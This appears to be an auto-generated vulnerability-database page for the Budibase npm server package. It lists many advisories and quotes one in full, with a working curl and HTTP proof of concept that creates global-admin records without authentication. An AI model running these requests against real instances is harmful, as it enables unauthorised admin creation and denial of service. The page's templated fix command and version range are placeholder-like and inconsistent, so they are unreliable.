Vulnerabilities in pkg:npm/@budibase/server

PACKAGE
Advisory Identifier: GHSA-25qc-m4pw-2w8r
Advisory Summary

CVE-2026-122247 is a HIGH (CVSS 8.2) unauthenticated global-admin & database creation vulnerability (CWE-284: Improper Access Control) affecting Budibase libraries in the npm ecosystem. The issue involves unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (`post /api/global/users/init`). Remediation is available in the latest vendor maintenance releases.

44 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@budibase/server

44 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@budibase/server. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-25qc-m4pw-2w8r CVE-2026-122247 HIGH Budibase: Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (`POST /api/global/users/init`)
GHSA-r2q3-7m4h-63qg CVE-2026-122244 HIGH Budibase: Cross-privilege Stored XSS in the Budibase Builder via broken HTML-escaping in `jsonFormatter.format()` rendered through `{@html}` in the CSP-less Builder origin
GHSA-6x9p-4r67-5gjx CVE-2026-54356 HIGH Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url`
GHSA-5fpj-28rv-84r7 CVE-2026-35219 HIGH Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist
GHSA-v42f-v8xc-j435 CVE-2026-73410 HIGH Budibase: SSRF via DNS rebinding in the REST datasource integration
GHSA-ppr4-5f46-j9c6 CVE-2026-73409 HIGH Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile
GHSA-hr66-5mqr-8mpx CVE-2026-73406 HIGH Budibase: Unauthenticated user information disclosure via public tenant user lookup endpoint
GHSA-gh4h-34gr-87r7 CVE-2026-73308 MODERATE Budibase: OAuth2 Token Disclosure via Automation Test Results Broadcast to Other Builders
GHSA-hfhx-w8p8-4hc7 CVE-2026-73307 MODERATE Budibase: SSRF via bare fetch() in uploadUrl during AI table generation
GHSA-8qv3-p479-cj62 CVE-2026-54350 CRITICAL Budibase has nonymous NoSQL operator injection via published-app query templates
GHSA-w7mq-r738-x278 CVE-2026-54352 CRITICAL Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload
GHSA-j9fc-w3mr-x6mv CVE-2026-73305 HIGH Budibase: Privilege escalation via public role assignment API missing app-level authorization
GHSA-4qcj-m5wp-jmf4 CVE-2026-73301 MODERATE Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings
GHSA-fcrw-f7gg-6g9f CVE-2026-73304 MODERATE Budibase: SSO OAuth2 Token Leakage via User Metadata Endpoints to Power-Role Users
GHSA-hp6v-6jw7-gv2f CVE-2026-73302 CRITICAL Budibase: OIDC SSO account takeover: incoming identity linked by email without checking email_verified
GHSA-c8vc-7pv3-g98p CVE-2026-73303 HIGH Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)
GHSA-q6x4-v3qx-85qw CVE-2026-73300 CRITICAL Budibase: SQL Injection via `multipleStatements: true`
GHSA-cr7p-cr3q-h5cm CVE-2026-73306 MODERATE Budibase: Account Enumeration via Login Lockout Response Differential
GHSA-pmpg-2mxq-6xwr - HIGH Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete
GHSA-pvcr-8mvp-w8qr - HIGH Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF)
GHSA-2xgg-r2wc-c5r2 - HIGH Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector
GHSA-qw6m-8fw2-2v64 - HIGH Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution
GHSA-mqhr-6j6h-74p5 - CRITICAL Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak
GHSA-xg5g-26x8-cvf4 - HIGH Budibase: DNS rebinding SSRF bypasses remain in OpenAPI import and REST query execution
GHSA-xcx6-4f2g-hhgx - HIGH Budibase: S3 presigned URL endpoint authorization regression in v3.39.4 allows BASIC users to obtain S3 PutObject presigned URLs
GHSA-rgvg-3wpc-h44p CVE-2026-54351 HIGH Budibase: Mass Assignment in Webhook Trigger Allows Cross-Workspace Automation Execution via appId Override
GHSA-35c4-rvc8-frhm CVE-2026-50137 HIGH Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials
GHSA-v7j5-vc4m-723w CVE-2026-50132 HIGH Budibase has an Account Impersonation Issue — Chat Identity Link Hijacking via Missing Consent & CSRF
GHSA-jj36-r9w3-3pfh CVE-2026-50136 HIGH Budibase: Unauthenticated S3 signed upload URL generation allows arbitrary writes with stored datasource credentials
GHSA-4q6h-8p4v-67vq CVE-2026-48153 HIGH Budibase: SSRF via OAuth2 token endpoint URL reaches internal hosts and cloud metadata
GHSA-3gp5-q4jw-3v94 CVE-2026-48152 HIGH Budibase: Basic app users can exfiltrate stored REST datasource auth by rewriting datasource base URL
GHSA-qhv3-wjg8-6fx6 CVE-2026-48151 HIGH Budibase: Webhook schema endpoint authorization bypass allows unauthenticated mutation of webhook and automation schema
GHSA-6xp4-cf37-ppjh CVE-2026-48150 CRITICAL Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign
GHSA-cv96-5348-p5p8 CVE-2026-48148 MODERATE Budibase: Unvalidated VectorDB Host Parameter Enables SSRF
GHSA-g6qx-g4pr-92v7 CVE-2026-48146 HIGH Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
GHSA-363w-hvwh-w7m6 CVE-2026-45719 MODERATE Budibase: CouchDB Reduce Injection via Unsanitized Calculation Parameter in V1 Views API
GHSA-44m2-crh7-f4q2 CVE-2026-45717 HIGH Budibase: `PUT /api/datasources/:datasourceId` is protected only by `TABLE/READ` permission instead of builder access, allowing any authenticated app user to overwrite datasource connection parameters including host, port, and URL
GHSA-fgqv-jh4g-pvg2 CVE-2026-45715 HIGH Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration
GHSA-rpj4-7x2v-wjrf CVE-2026-45548 HIGH Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation
GHSA-gjw9-34gf-rp6m CVE-2026-25044 HIGH Budibase: Command Injection in Bash Automation Step
GHSA-fcm4-4pj2-m5hf CVE-2026-35216 CRITICAL Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step
GHSA-2wfh-rcwf-wh23 CVE-2026-35214 HIGH Budibase: Path traversal in plugin file upload enables arbitrary directory deletion and file write
GHSA-726g-59wr-cj4c CVE-2026-25041 HIGH @budibase/server: Command Injection in PostgreSQL Dump Command
GHSA-4g2x-vq5p-5vj6 - CRITICAL Budibase affected by VM2 Constructor Escape Vulnerability

CVE-2026-122247 at a Glance

CVE Identifier CVE-2026-122247
GHSA Identifier GHSA-25qc-m4pw-2w8r
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-284: Improper Access Control
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability High (A:H)

How to Fix CVE-2026-122247

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/server fixed: Latest secure release
npm install @budibase/server@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-122247, inspect your project dependencies using npm:

npm ls @budibase/server

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @budibase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description ### Summary On a self-hosted, single-tenant Budibase instance (`multiTenancy:false`), the public bootstrap endpoint `POST /api/global/users/init` remains fully exploitable **after** the instance has been provisioned. Its "already initialised" guard (`checkAnyUserExists()`) is evaluated inside a **tenant-scoped** database context derived from an **attacker-controlled `tenantId`** in the request body. Because the tenancy layer never constrains that `tenantId` to the only legitimate tenant (`default`) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (`<tenantId>_global-db`) and a **global-admin** user document (`admin.global = true`, `builder.global = true`) inside it - with no authentication and no CSRF token. This is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts. ### Details Root cause chain (source, tag v3.44.0): 1. `packages/worker/src/api/index.ts:41` - `POST /api/global/users/init` is in `PUBLIC_ENDPOINTS`, so `auth.buildAuthMiddleware(PUBLIC_ENDPOINTS)` marks it `publicEndpoint` and the "no public access to worker" gate (`api/index.ts:159-165`) lets it through **without any session**. It is also in `NO_TENANCY_ENDPOINTS` (`api/index.ts:83`), so the tenancy middleware does **not** pin the request to `default` - the tenant is taken verbatim from the request body - and in `NO_CSRF_ENDPOINTS`. 2. `packages/worker/src/middleware/cloudRestricted.ts:10,25` - the `cloudRestricted` guard only enforces the internal API key when `!env.SELF_HOSTED && !env.DISABLE_ACCOUNT_PORTAL`. On a self-hosted instance (`SELF_HOSTED=true`) it is a **no-op** (`return next()`), so `cloudRestrictedRoutes` provides no protection here. 3. `packages/worker/src/api/routes/global/users.ts:69-79` - `cloudRestrictedRoutes.post("/api/global/users/init", … controller.adminUser)`. 4. `packages/worker/src/api/controllers/global/users.ts:232` - the handler runs `await tenancy.doInTenant(tenantId, …)` using the **attacker-supplied** `tenantId`. 5. `packages/worker/src/api/controllers/global/users.ts:238` - the only guard, `const userExists = await checkAnyUserExists()`, throws 403 only if a user exists **in the current tenant context**. 6. `packages/worker/src/utilities/users.ts:3-15` - `checkAnyUserExists()` calls `tenancy.getGlobalDB()`, which resolves to `<tenantId>_global-db`. For any unused `tenantId` this DB is empty → the guard passes → `userSdk.db.createAdminUser(email, tenantId, …)` (`users.ts:247`) creates a full global admin. The defect is **incorrect authorization scoping**: the single-tenant deployment invariant ("only tenant `default` exists; init is one-time") is never enforced against the request-supplied `tenantId`, so the guard is evaluated against a namespace the attacker chooses. Configuration confirmed via `GET /api/system/environment` → `{"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}`. ### PoC Target `http://127.0.0.1:3014` (Budibase `v3.44.0-cloud.2`). **No credentials, no cookies, no CSRF token.** All values real, captured live on 2026-09-02; nothing redacted. --- #### Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant (`default`) ```bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}' ``` **Burp - Request** ```http POST /api/global/users/init HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 82 {"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"} ``` **Burp - Response** ```http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 {"message":"You cannot initialise once an global user has been created.","status":403} ``` --- #### Step 2 - PAYLOAD: supply any unused `tenantId` → the guard is bypassed and a global admin is created, fully unauthenticated ```bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}' ``` **Burp - Request** ```http POST /api/global/users/init HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 78 {"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"} ``` **Burp - Response** ```http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"_id":"us_d0c2b6c9014a43e2899a2770d2e6280c","_rev":"1-554ff75f0064fb15f92e341faad7263b","email":"pwn-f7poc@evil.test"} ``` The single differential - `tenantId:"default"` → 403, `tenantId:"f7poc"` → 200 with a persisted `us_…` id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses. --- #### Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard ```bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-f7pocb@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}' ``` **Burp - Response** ```http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 {"message":"You cannot initialise once an global user has been created.","status":403} ``` Each unique `tenantId` is a fresh write primitive - an attacker loops `tenantId=a0001,a0002,…` to create unbounded databases + admin docs (DoS). --- #### Step 4 & 5 - datastore side-effect: a new `<tenant>_global-db` and a real global-admin document Read directly from CouchDB inside the container (`$COUCH_DB_URL` = `http://admin:…@127.0.0.1:5984`): ``` GET /_all_dbs => [ "app_cc322a9cd27a492eb934f43b146c6e81", "app_dev_cc322a9cd27a492eb934f43b146c6e81", "f7poc_global-db", <-- created by the unauthenticated init call (tenantId=f7poc) "global-db" <-- legitimate default-tenant global DB ] rogue DB 'f7poc_global-db' present: True ``` The document created in `f7poc_global-db` is a full global admin: ```json { "_id": "us_d0c2b6c9014a43e2899a2770d2e6280c", "email": "pwn-f7poc@evil.test", "admin": { "global": true }, "builder": { "global": true }, "tenantId": "default", "roles": {} } ``` --- #### Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off ```bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \ -H 'Content-Type: application/json' \ -d '{"username":"pwn-f7poc@evil.test","password":"Pwned!2026#bb"}' ``` **Burp - Response** ```http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 {"message":"Invalid credentials","status":403} ``` With `multiTenancy:false` the login flow forces the `default` tenant, so the injected admin is **not** usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration). ### Impact **Type:** Missing/incorrect authorization on a critical function - **unauthenticated bypass of the one-time initialization guard**, yielding anonymous global-admin-document and database creation. **Who is impacted:** every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can: - **defeat the first-run setup lock** that is supposed to be permanently closed after provisioning; - **create global-admin user documents** in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore); - **create an unbounded number of CouchDB databases** (`<rand>_global-db`) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the `_dbs` metadata shard).

CVE-2026-122247 Affected Budibase Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/server
npm
≤ 3.38.1

References

Frequently Asked Questions

What is CVE-2026-122247?
CVE-2026-122247 is a security vulnerability in Budibase involving Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (`POST /api/global/users/init`) under CWE-284: Improper Access Control.
Which Budibase versions are affected?
Affected versions include releases prior to current release patches across affected packages: @budibase/server.
What version fixes CVE-2026-122247?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/server affected?
Yes, @budibase/server is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-122247?
CVE-2026-122247 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H.
What CWE is associated with CVE-2026-122247?
CVE-2026-122247 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check npm dependencies for CVE-2026-122247?
Run the dependency tree command: 'npm ls @budibase/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-25qc-m4pw-2w8r",
  "modified" : "2026-11-20T23:50:01Z",
  "published" : "2026-11-20T23:50:01Z",
  "aliases" : [ "CVE-2026-122247" ],
  "summary" : "Budibase: Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (`POST /api/global/users/init`)",
  "details" : "## Description\n\n### Summary\n\nOn a self-hosted, single-tenant Budibase instance (`multiTenancy:false`), the public bootstrap endpoint `POST /api/global/users/init` remains fully exploitable **after** the instance has been provisioned. Its \"already initialised\" guard (`checkAnyUserExists()`) is evaluated inside a **tenant-scoped** database context derived from an **attacker-controlled `tenantId`** in the request body. Because the tenancy layer never constrains that `tenantId` to the only legitimate tenant (`default`) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (`<tenantId>_global-db`) and a **global-admin** user document (`admin.global = true`, `builder.global = true`) inside it - with no authentication and no CSRF token.\n\nThis is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.\n\n### Details\n\nRoot cause chain (source, tag v3.44.0):\n\n1. `packages/worker/src/api/index.ts:41` - `POST /api/global/users/init` is in `PUBLIC_ENDPOINTS`, so `auth.buildAuthMiddleware(PUBLIC_ENDPOINTS)` marks it `publicEndpoint` and the \"no public access to worker\" gate (`api/index.ts:159-165`) lets it through **without any session**. It is also in `NO_TENANCY_ENDPOINTS` (`api/index.ts:83`), so the tenancy middleware does **not** pin the request to `default` - the tenant is taken verbatim from the request body - and in `NO_CSRF_ENDPOINTS`.\n2. `packages/worker/src/middleware/cloudRestricted.ts:10,25` - the `cloudRestricted` guard only enforces the internal API key when `!env.SELF_HOSTED && !env.DISABLE_ACCOUNT_PORTAL`. On a self-hosted instance (`SELF_HOSTED=true`) it is a **no-op** (`return next()`), so `cloudRestrictedRoutes` provides no protection here.\n3. `packages/worker/src/api/routes/global/users.ts:69-79` - `cloudRestrictedRoutes.post(\"/api/global/users/init\", … controller.adminUser)`.\n4. `packages/worker/src/api/controllers/global/users.ts:232` - the handler runs `await tenancy.doInTenant(tenantId, …)` using the **attacker-supplied** `tenantId`.\n5. `packages/worker/src/api/controllers/global/users.ts:238` - the only guard, `const userExists = await checkAnyUserExists()`, throws 403 only if a user exists **in the current tenant context**.\n6. `packages/worker/src/utilities/users.ts:3-15` - `checkAnyUserExists()` calls `tenancy.getGlobalDB()`, which resolves to `<tenantId>_global-db`. For any unused `tenantId` this DB is empty → the guard passes → `userSdk.db.createAdminUser(email, tenantId, …)` (`users.ts:247`) creates a full global admin.\n\nThe defect is **incorrect authorization scoping**: the single-tenant deployment invariant (\"only tenant `default` exists; init is one-time\") is never enforced against the request-supplied `tenantId`, so the guard is evaluated against a namespace the attacker chooses.\n\nConfiguration confirmed via `GET /api/system/environment` → `{\"multiTenancy\":false,\"cloud\":false,\"disableAccountPortal\":false,\"isDev\":false}`.\n\n### PoC\n\nTarget `http://127.0.0.1:3014` (Budibase `v3.44.0-cloud.2`). **No credentials, no cookies, no CSRF token.** All values real, captured live on 2026-09-02; nothing redacted.\n\n---\n\n#### Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant (`default`)\n\n```bash\ncurl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"pwn-default@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"default\"}'\n```\n\n**Burp - Request**\n\n```http\nPOST /api/global/users/init HTTP/1.1\nHost: 127.0.0.1:3014\nContent-Type: application/json\nContent-Length: 82\n\n{\"email\":\"pwn-default@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"default\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n\n{\"message\":\"You cannot initialise once an global user has been created.\",\"status\":403}\n```\n\n---\n\n#### Step 2 - PAYLOAD: supply any unused `tenantId` → the guard is bypassed and a global admin is created, fully unauthenticated\n\n```bash\ncurl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"pwn-f7poc@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"f7poc\"}'\n```\n\n**Burp - Request**\n\n```http\nPOST /api/global/users/init HTTP/1.1\nHost: 127.0.0.1:3014\nContent-Type: application/json\nContent-Length: 78\n\n{\"email\":\"pwn-f7poc@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"f7poc\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\n\n{\"_id\":\"us_d0c2b6c9014a43e2899a2770d2e6280c\",\"_rev\":\"1-554ff75f0064fb15f92e341faad7263b\",\"email\":\"pwn-f7poc@evil.test\"}\n```\n\nThe single differential - `tenantId:\"default\"` → 403, `tenantId:\"f7poc\"` → 200 with a persisted `us_…` id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.\n\n---\n\n#### Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard\n\n```bash\ncurl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"pwn-f7pocb@evil.test\",\"password\":\"Pwned!2026#bb\",\"tenantId\":\"f7poc\"}'\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n\n{\"message\":\"You cannot initialise once an global user has been created.\",\"status\":403}\n```\n\nEach unique `tenantId` is a fresh write primitive - an attacker loops `tenantId=a0001,a0002,…` to create unbounded databases + admin docs (DoS).\n\n---\n\n#### Step 4 & 5 - datastore side-effect: a new `<tenant>_global-db` and a real global-admin document\n\nRead directly from CouchDB inside the container (`$COUCH_DB_URL` = `http://admin:…@127.0.0.1:5984`):\n\n```\nGET /_all_dbs =>\n[\n \"app_cc322a9cd27a492eb934f43b146c6e81\",\n \"app_dev_cc322a9cd27a492eb934f43b146c6e81\",\n \"f7poc_global-db\",     <-- created by the unauthenticated init call (tenantId=f7poc)\n \"global-db\"            <-- legitimate default-tenant global DB\n]\n\nrogue DB 'f7poc_global-db' present: True\n```\n\nThe document created in `f7poc_global-db` is a full global admin:\n\n```json\n{\n  \"_id\": \"us_d0c2b6c9014a43e2899a2770d2e6280c\",\n  \"email\": \"pwn-f7poc@evil.test\",\n  \"admin\":   { \"global\": true },\n  \"builder\": { \"global\": true },\n  \"tenantId\": \"default\",\n  \"roles\": {}\n}\n```\n\n---\n\n#### Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off\n\n```bash\ncurl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"pwn-f7poc@evil.test\",\"password\":\"Pwned!2026#bb\"}'\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n\n{\"message\":\"Invalid credentials\",\"status\":403}\n```\n\nWith `multiTenancy:false` the login flow forces the `default` tenant, so the injected admin is **not** usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration).\n\n### Impact\n\n**Type:** Missing/incorrect authorization on a critical function - **unauthenticated bypass of the one-time initialization guard**, yielding anonymous global-admin-document and database creation.\n\n**Who is impacted:** every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can:\n- **defeat the first-run setup lock** that is supposed to be permanently closed after provisioning;\n- **create global-admin user documents** in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore);\n- **create an unbounded number of CouchDB databases** (`<rand>_global-db`) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the `_dbs` metadata shard).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.38.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-25qc-m4pw-2w8r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-122247"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/commit/362a7fe9aea594531ece1cf15be76cc00bfb88b9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/v3.50.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/v4.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-306", "CWE-770", "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-20T23:50:01Z",
    "nvd_published_at" : "2026-11-20T17:18:08Z"
  }
}